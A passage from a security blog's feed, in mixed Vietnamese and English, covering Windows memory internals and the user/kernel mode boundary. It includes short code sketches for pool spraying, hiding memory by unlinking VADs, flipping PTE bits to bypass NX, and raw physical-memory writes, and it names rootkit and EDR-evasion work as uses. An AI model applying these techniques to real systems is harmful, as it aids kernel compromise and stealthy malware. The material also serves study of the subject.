    union {
        struct {
            USHORT ReferenceCount;      // Reference count
            MMPFNENTRY e1;
        };
        struct {
            USHORT ReferenceCount;
            USHORT ShortFlags;
        };
        struct {
            USHORT ReferenceCount;
            UCHAR PageLocation   : 3;   // Active, Standby, Modified, etc.
            UCHAR WriteInProgress : 1;
            UCHAR Modified        : 1;
            UCHAR ReadInProgress  : 1;
            // ... more flags
        } u3;
    };

    ULONG_PTR OriginalPte;              // Original PTE contents

} MMPFN, *PMMPFN;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Page States&lt;/h3&gt;
&lt;p&gt;Physical pages có thể ở nhiều states khác nhau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────┐
│           Page State Transitions             │
├─────────────────────────────────────────────┤
│                                             │
│  Free List ──────────┐                     │
│       ▲              │                     │
│       │              ▼                     │
│       │         Zeroed List                │
│       │              │                     │
│       │              ▼                     │
│       │         Active (In Use)            │
│       │              │                     │
│       │              ▼                     │
│       │      ┌───► Modified List           │
│       │      │       │                     │
│       └──────┤       ▼                     │
│              └── Standby List              │
│                      │                     │
│                      ▼                     │
│              Modified-No-Write List        │
│                                             │
└─────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Page List Types:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Free List&lt;/strong&gt;: Pages available cho allocation, có thể contain old data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zeroed List&lt;/strong&gt;: Pages đã được zeroed, ready for allocation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Active&lt;/strong&gt;: Pages đang được used bởi processes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modified&lt;/strong&gt;: Pages có dirty data chưa written back&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Standby&lt;/strong&gt;: Pages có valid data nhưng can be repurposed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modified-No-Write&lt;/strong&gt;: Modified pages không thể write to disk&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Viewing PFN Database với WinDbg&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !pfn 5e9
    PFN 000005E9 at address FFFFFA8000017248
    flink       000005EA  blink / share count 000005E8  pteaddress FFFFF6FB40001234
    reference count 0001    used entry count  0000       color 0
    restore pte 00000000  containing page 001234  Active     M
    Modified
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Memory Pools (Paged vs Non-Paged)&lt;/h2&gt;
&lt;p&gt;Kernel allocates memory từ &lt;strong&gt;pools&lt;/strong&gt; - pre-allocated regions cho dynamic allocations.&lt;/p&gt;
&lt;h3&gt;Pool Types&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Paged Pool:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Có thể paged out to disk&lt;/li&gt;
&lt;li&gt;Used cho non-critical allocations&lt;/li&gt;
&lt;li&gt;Larger size available&lt;/li&gt;
&lt;li&gt;Performance hit khi page faults occur&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Non-Paged Pool:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always resident trong RAM&lt;/li&gt;
&lt;li&gt;Used cho critical structures (locks, DPCs, interrupt handling)&lt;/li&gt;
&lt;li&gt;Limited size (exhaustion = BSOD)&lt;/li&gt;
&lt;li&gt;Better performance (no page faults)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Pool Header Structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _POOL_HEADER {
    union {
        struct {
            USHORT PreviousSize : 9;    // Size of previous block
            USHORT PoolIndex    : 7;    // Pool index
            USHORT BlockSize    : 9;    // Size of this block
            USHORT PoolType     : 7;    // Pool type
        };
        ULONG Ulong1;
    };

    ULONG PoolTag;                       // 4-byte pool tag (e.g., &apos;File&apos;, &apos;Proc&apos;)

    union {
        PEPROCESS ProcessBilled;         // Process charged for allocation
        struct {
            USHORT AllocatorBackTraceIndex;
            USHORT PoolTagHash;
        };
    };
} POOL_HEADER, *PPOOL_HEADER;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pool Tags&lt;/h3&gt;
&lt;p&gt;Pool tags là 4-character identifiers used để track allocations:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Common Pool Tags:
- &apos;File&apos; - File objects
- &apos;Proc&apos; - Process objects
- &apos;Thrd&apos; - Thread objects
- &apos;IoPt&apos; - I/O Pool Tag
- &apos;Even&apos; - Event objects
- &apos;Sema&apos; - Semaphore objects
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Viewing Pools với WinDbg&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;List all pool allocations:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !poolused
Sorting by  Tag

  Pool  Used      NonPaged            Paged
  Tag   Size      Allocs   Size      Allocs
-----------------------------------------------
 .ETW      0          0   1a2c480     2468  Event Tracing
  AfdE      0          0   b84aa0       467  AFD endpoint structures
  CM25 3a1a8c0     13437       0          0  Configuration Manager
  Cont  14e1e0         3   4c5c60       271  Device object containers
  File 1023480      3956  11d9200     12847  File objects
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;View pool with specific tag:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !poolfind File
Scanning large pool allocation table for Tag: File (fffff80001234000 : fffff80002345000)

fffff80012345678 size:  240 previous size:    0  (Allocated) *File
fffff80012345900 size:  240 previous size:  240  (Allocated)  File
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examine pool header:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dt nt!_POOL_HEADER fffff80012345678
   +0x000 PreviousSize     : 0y000000000 (0)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000100100 (0x24)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x004 PoolTag          : 0x656c6946 &apos;File&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Practical Exploitation Techniques&lt;/h2&gt;
&lt;h3&gt;1. Pool Spraying&lt;/h3&gt;
&lt;p&gt;Pool spraying là technique để control heap layout cho exploitation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Spray non-paged pool with controlled objects
for (int i = 0; i &amp;lt; 10000; i++) {
    HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    // Events allocated từ non-paged pool
    // Store handles để prevent deallocation
    eventHandles[i] = hEvent;
}

// Trigger vulnerability (use-after-free, overflow, etc.)
TriggerVulnerability();

// Freed object giờ surrounded bởi controlled Event objects
// Exploit có thể predict memory layout
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why This Works:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pool allocator uses best-fit algorithm&lt;/li&gt;
&lt;li&gt;Objects cùng size allocated gần nhau&lt;/li&gt;
&lt;li&gt;Spraying tạo predictable layout&lt;/li&gt;
&lt;li&gt;Useful cho heap feng shui&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. VAD Manipulation&lt;/h3&gt;
&lt;p&gt;Attackers có thể manipulate VAD structures để:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hide Memory Regions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Unlink VAD entry từ tree
PMMVAD pVad = FindVadByAddress(targetAddress);
RemoveVadFromTree(pVad);
// Region giờ invisible cho tools enumerate memory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Change Memory Protection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Modify VAD protection flags
pVad-&amp;gt;u.VadFlags.Protection = PAGE_EXECUTE_READWRITE;
// Memory region giờ executable without calling VirtualProtect
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. PTE Manipulation&lt;/h3&gt;
&lt;p&gt;Direct PTE manipulation là powerful technique:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Find PTE cho một virtual address
PMMPTE pte = MiGetPteAddress(virtualAddress);

// Make read-only page writable
pte-&amp;gt;u.Hard.Write = 1;

// Make non-executable page executable (disable NX)
pte-&amp;gt;u.Hard.NoExecute = 0;

// Flush TLB để apply changes
__invlpg(virtualAddress);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Applications:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bypass W^X policies&lt;/li&gt;
&lt;li&gt;Patch kernel code pages (if HVCI disabled)&lt;/li&gt;
&lt;li&gt;Modify driver .text sections&lt;/li&gt;
&lt;li&gt;Hook kernel functions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Physical Memory Access&lt;/h3&gt;
&lt;p&gt;Với arbitrary read/write trong kernel, có thể access physical memory directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Map physical memory vào kernel address space
PHYSICAL_ADDRESS physAddr;
physAddr.QuadPart = 0x1000;  // Physical address

PVOID mappedAddress = MmMapIoSpace(
    physAddr,
    PAGE_SIZE,
    MmNonCached
);

// Read/write physical memory
*(PULONG)mappedAddress = 0x90909090;  // NOP sled

MmUnmapIoSpace(mappedAddress, PAGE_SIZE);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Memory Mitigations&lt;/h2&gt;
&lt;h3&gt;ASLR (Address Space Layout Randomization)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;User Mode ASLR:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Randomizes base addresses của executables, DLLs, heaps, stacks&lt;/li&gt;
&lt;li&gt;Makes exploitation harder (need info leaks)&lt;/li&gt;
&lt;li&gt;Can be bypassed với memory leaks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Kernel ASLR (KASLR):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Randomizes kernel base address&lt;/li&gt;
&lt;li&gt;Drivers cũng randomized&lt;/li&gt;
&lt;li&gt;Info leaks critical cho kernel exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DEP (Data Execution Prevention)&lt;/h3&gt;
&lt;p&gt;Based trên NX bit trong PTEs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stack non-executable by default&lt;/li&gt;
&lt;li&gt;Heap non-executable&lt;/li&gt;
&lt;li&gt;Data sections non-executable&lt;/li&gt;
&lt;li&gt;Bypassed bằng ROP/JOP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SMEP (Supervisor Mode Execution Prevention)&lt;/h3&gt;
&lt;p&gt;Prevents kernel từ executing user-mode code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checked via PTE Owner bit&lt;/li&gt;
&lt;li&gt;Makes kernel exploits harder&lt;/li&gt;
&lt;li&gt;Bypass requires ROP trong kernel space hoặc disable SMEP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Control Flow Guard (CFG)&lt;/h3&gt;
&lt;p&gt;Protects indirect calls:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Validates call targets&lt;/li&gt;
&lt;li&gt;Prevents control flow hijacking&lt;/li&gt;
&lt;li&gt;Kernel variant: kCFG&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Lab Exercises với WinDbg&lt;/h2&gt;
&lt;h3&gt;Exercise 1: Walk Page Tables Manually&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cr3
cr3=00000000001a5000

kd&amp;gt; !pte 0xFFFFF80012345678
                    VA fffff80012345678
PXE at FFFFF6FB7DBEDF80    PPE at FFFFF6FB7DBF0000    PDE at FFFFF6FB7E000048    PTE at FFFFF6FC00091A28
contains 000000001A5063    contains 000000002B6063    contains 000000003C7063    contains 0000000005E9867
pfn 1a5       ---DA--KWEV    pfn 2b6       ---DA--KWEV    pfn 3c7       ---DA--KWEV    pfn 5e9       -G-DA--KW-V

kd&amp;gt; !pfn 5e9
    PFN 000005E9 at address FFFFFA8000017248
    Active     M
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 2: Find Executable Memory trong Process&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0 calc.exe
PROCESS fffffa8012345678

kd&amp;gt; .process /p fffffa8012345678

kd&amp;gt; !vad
VAD            Start       End         Protection
fffff6fb40123456  7ff000000  7ff100000  EXECUTE_READ
fffff6fb40234567  7ff200000  7ff300000  EXECUTE_READWRITE
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 3: Pool Feng Shui Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !poolused 2

kd&amp;gt; !poolfind Leak

kd&amp;gt; dt nt!_POOL_HEADER &amp;lt;address&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Wrapup&lt;/h2&gt;
&lt;p&gt;Windows memory management là một complex subsystem với nhiều layers: virtual memory abstraction, page table translations, VAD tracking, và physical memory management thông qua PFN database.&lt;/p&gt;
&lt;p&gt;Understanding memory internals này critical cho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kernel exploitation&lt;/strong&gt;: Manipulating PTEs, VADs, pool structures&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malware development&lt;/strong&gt;: Hiding memory, direct physical access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rootkit development&lt;/strong&gt;: Memory stealth techniques&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability research&lt;/strong&gt;: Identifying memory corruption bugs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Knowledge về page tables, VAD trees, và pool allocations là foundation cho advanced Windows exploitation techniques.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Books:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Internals, Part 1&lt;/strong&gt; (Chapter 5: Memory Management) - Russinovich, Solomon, Ionescu&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Kernel Programming&lt;/strong&gt; (Chapter 8: Memory) - Pavel Yosifovich&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What Makes It Page?&lt;/strong&gt; - Enrico Martignetti&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Papers:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Windows Kernel Pool Spraying&quot; - Tarjei Mandt&lt;/li&gt;
&lt;li&gt;&quot;Exploiting the Windows Kernel&quot; - mxatone&lt;/li&gt;
&lt;li&gt;&quot;Kernel Pool Exploitation on Windows 7&quot; - Mandt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://apps.microsoft.com/detail/9PGJGD53TN86&quot;&gt;WinDbg Preview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.volatilityfoundation.org/&quot;&gt;Volatility&lt;/a&gt; - Memory forensics&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ufrisk/MemProcFS&quot;&gt;MemProcFS&lt;/a&gt; - Memory analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;&amp;lt;strong style=&quot;color: red;&quot;&amp;gt;Master memory, control the system.&amp;lt;/strong&amp;gt;&amp;lt;/h2&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Architecture Deep Dive: User Mode vs Kernel Mode</title><link>https://wanderlens.vercel.app/posts/windowsarchitecturedeepdive/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/windowsarchitecturedeepdive/</guid><description>Deep dive vào kiến trúc Windows - phân tích ranh giới giữa User Mode và Kernel Mode, cơ chế system call, và ứng dụng trong offensive security research.</description><pubDate>Mon, 15 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Giới thiệu&lt;/h2&gt;
&lt;p&gt;Hiểu rõ Windows architecture là nền tảng quan trọng nhất cho bất kỳ ai làm offensive security research targeting Windows systems. Cho dù bạn đang develop exploits, phân tích malware, hay research vulnerabilities, kiến thức sâu về cách Windows hoạt động ở mức architectural là absolutely essential.&lt;/p&gt;
&lt;p&gt;Bài này deep dive vào ranh giới giữa &lt;strong&gt;User Mode&lt;/strong&gt; và &lt;strong&gt;Kernel Mode&lt;/strong&gt; - boundary định nghĩa privilege levels, memory isolation, và system call interface kết nối hai thế giới này.&lt;/p&gt;
&lt;h3&gt;Tại sao điều này quan trọng?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Đối với Exploit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hiểu syscalls → bypass user-mode hooks&lt;/li&gt;
&lt;li&gt;Biết về privilege transitions → identify attack surfaces&lt;/li&gt;
&lt;li&gt;Nắm memory architecture → reliable exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Malware Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direct syscalls → bypass EDR/AV monitoring&lt;/li&gt;
&lt;li&gt;Kernel knowledge → develop rootkits&lt;/li&gt;
&lt;li&gt;System internals → better evasion&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Vulnerability Research:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Boundary crossings → attack surfaces&lt;/li&gt;
&lt;li&gt;Kernel objects → privilege escalation vectors&lt;/li&gt;
&lt;li&gt;IRP handling → driver vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Windows Architecture Overview&lt;/h2&gt;
&lt;p&gt;Windows sử dụng &lt;strong&gt;layered architecture&lt;/strong&gt; với sự phân tách rõ ràng giữa privileged và unprivileged code. Design này cung cấp security thông qua isolation nhưng vẫn maintain performance qua efficient privilege transitions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────────┐
│           USER MODE (Ring 3)                        │
│                                                     │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────┐ │
│  │ Applications │  │   Subsystem  │  │   DLLs   │ │
│  │   (*.exe)    │  │   DLLs       │  │          │ │
│  └──────────────┘  └──────────────┘  └──────────┘ │
│         │                  │                │      │
│         └──────────────────┴────────────────┘      │
│                        │                            │
│              ┌─────────▼─────────┐                 │
│              │   Windows API     │                 │
│              │  (kernel32.dll)   │                 │
│              └─────────┬─────────┘                 │
│                        │                            │
│              ┌─────────▼─────────┐                 │
│              │   Native API      │                 │
│              │   (ntdll.dll)     │                 │
│              └─────────┬─────────┘                 │
└────────────────────────┼─────────────────────────────┘
                         │ SYSCALL/SYSENTER
═══════════════════════════════════════════════════════
                         │
┌────────────────────────▼─────────────────────────────┐
│           KERNEL MODE (Ring 0)                      │
│                                                     │
│  ┌─────────────────────────────────────────────┐  │
│  │   System Service Dispatcher (KiSystemCall)  │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │        Executive Services                   │  │
│  │  (I/O Manager, Object Manager, Memory Mgr)  │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │        Windows Kernel (ntoskrnl.exe)        │  │
│  │     (Scheduler, Dispatcher, Sync Objects)   │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │   Hardware Abstraction Layer (hal.dll)      │  │
│  └─────────────────┬───────────────────────────┘  │
│                    │                               │
│  ┌─────────────────▼───────────────────────────┐  │
│  │          Device Drivers                     │  │
│  └─────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────┘
                     │
              ┌──────▼──────┐
              │  Hardware   │
              └─────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;User Mode (Ring 3)&lt;/h2&gt;
&lt;p&gt;User mode là &lt;strong&gt;restricted execution environment&lt;/strong&gt; nơi tất cả application code chạy. Nó operate ở &lt;strong&gt;Processor Ring 3&lt;/strong&gt; (least privileged ring trong x86/x64 architecture).&lt;/p&gt;
&lt;h3&gt;Đặc điểm chính:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Limited Privileges:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Không thể directly access hardware&lt;/li&gt;
&lt;li&gt;Không thể execute privileged instructions&lt;/li&gt;
&lt;li&gt;Không thể directly modify kernel memory&lt;/li&gt;
&lt;li&gt;Không thể disable interrupts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Memory Isolation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mỗi process có virtual address space riêng&lt;/li&gt;
&lt;li&gt;Processes không thể directly access memory của nhau&lt;/li&gt;
&lt;li&gt;User-mode addresses: &lt;code&gt;0x0000000000000000&lt;/code&gt; - &lt;code&gt;0x00007FFFFFFFFFFF&lt;/code&gt; (x64)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Components chạy trong User Mode:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User applications (*.exe)&lt;/li&gt;
&lt;li&gt;System processes (csrss.exe, services.exe, etc.)&lt;/li&gt;
&lt;li&gt;Subsystem DLLs (kernel32.dll, user32.dll, etc.)&lt;/li&gt;
&lt;li&gt;Native API layer (ntdll.dll)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tại sao User Mode Isolation quan trọng?&lt;/h3&gt;
&lt;p&gt;Isolation này là &lt;strong&gt;first line of defense&lt;/strong&gt; chống lại:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malicious applications phá hỏng system&lt;/li&gt;
&lt;li&gt;Buggy code gây system-wide crashes&lt;/li&gt;
&lt;li&gt;Unauthorized access vào sensitive kernel structures&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tuy nhiên, isolation này cũng là cái mà &lt;strong&gt;security researchers target&lt;/strong&gt; thông qua:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Privilege escalation exploits&lt;/li&gt;
&lt;li&gt;Kernel vulnerabilities&lt;/li&gt;
&lt;li&gt;Driver exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Kernel Mode (Ring 0)&lt;/h2&gt;
&lt;p&gt;Kernel mode là &lt;strong&gt;fully privileged execution environment&lt;/strong&gt; nơi operating system core chạy. Nó operate ở &lt;strong&gt;Processor Ring 0&lt;/strong&gt; (most privileged ring).&lt;/p&gt;
&lt;h3&gt;Đặc điểm chính:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Full System Access:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direct hardware access&lt;/li&gt;
&lt;li&gt;Execution của privileged instructions (e.g., &lt;code&gt;lgdt&lt;/code&gt;, &lt;code&gt;lidt&lt;/code&gt;, &lt;code&gt;mov cr3&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Complete memory access (user + kernel space)&lt;/li&gt;
&lt;li&gt;Interrupt và exception handling&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Memory Layout:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel addresses: &lt;code&gt;0xFFFF800000000000&lt;/code&gt; - &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; (x64)&lt;/li&gt;
&lt;li&gt;Tất cả kernel-mode components share cùng address space&lt;/li&gt;
&lt;li&gt;Direct access vào physical memory qua page tables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Components chạy trong Kernel Mode:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Kernel (ntoskrnl.exe)&lt;/li&gt;
&lt;li&gt;Hardware Abstraction Layer (hal.dll)&lt;/li&gt;
&lt;li&gt;Device Drivers (*.sys)&lt;/li&gt;
&lt;li&gt;Kernel-mode components (win32k.sys, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Power và Danger của Kernel Mode&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Power:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Complete system control&lt;/li&gt;
&lt;li&gt;Optimal performance (no context switches)&lt;/li&gt;
&lt;li&gt;Direct hardware manipulation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Danger:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Một bug duy nhất có thể crash toàn bộ system (BSOD)&lt;/li&gt;
&lt;li&gt;Exploits gain complete system compromise&lt;/li&gt;
&lt;li&gt;Không có isolation giữa kernel components&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đây là lý do &lt;strong&gt;kernel exploitation là holy grail&lt;/strong&gt; của offensive security - một vulnerability duy nhất trong kernel mode grants absolute control over the system.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;System Call Interface&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;System call&lt;/strong&gt; mechanism là controlled gateway giữa user mode và kernel mode. Đây là cách hợp pháp duy nhất để user-mode code request kernel services.&lt;/p&gt;
&lt;h3&gt;System Call Flow&lt;/h3&gt;
&lt;p&gt;Hãy trace một &lt;code&gt;CreateFile&lt;/code&gt; call đơn giản qua toàn bộ system:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. Application calls Win32 API
HANDLE hFile = CreateFile(
    L&quot;C:\\test.txt&quot;,
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Win32 API (kernel32.dll)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; kernel32!CreateFileW
; Validates parameters và converts sang Native API
call    qword ptr [kernel32!_imp_NtCreateFile]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Native API (ntdll.dll)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; ntdll!NtCreateFile
mov     r10, rcx              ; Save RCX
mov     eax, 0x55             ; Syscall number cho NtCreateFile
syscall                        ; Transition sang kernel mode
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Kernel Mode Transition&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Khi &lt;code&gt;syscall&lt;/code&gt; instruction executes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CPU switches sang Ring 0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSP switches&lt;/strong&gt; sang kernel stack&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RIP jumps&lt;/strong&gt; vào &lt;code&gt;KiSystemCall64&lt;/code&gt; trong ntoskrnl.exe&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Saves user-mode context&lt;/strong&gt; (registers, stack pointer)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Step 4: System Service Dispatcher&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; KiSystemCall64
; RAX contains syscall number (0x55)
; Lookup trong System Service Descriptor Table (SSDT)
mov     rax, [nt!KeServiceDescriptorTable + rax*8]
call    rax                   ; Call NtCreateFile trong kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Kernel Execution&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// nt!NtCreateFile (simplified)
NTSTATUS NtCreateFile(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    PLARGE_INTEGER AllocationSize,
    ULONG FileAttributes,
    ULONG ShareAccess,
    ULONG CreateDisposition,
    ULONG CreateOptions,
    PVOID EaBuffer,
    ULONG EaLength
) {
    // Validate parameters từ user mode
    ProbeForWrite(FileHandle, sizeof(HANDLE), sizeof(HANDLE));

    // Call I/O Manager
    IoCreateFile(...);

    // Return status
    return STATUS_SUCCESS;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Return về User Mode&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel function returns NTSTATUS&lt;/li&gt;
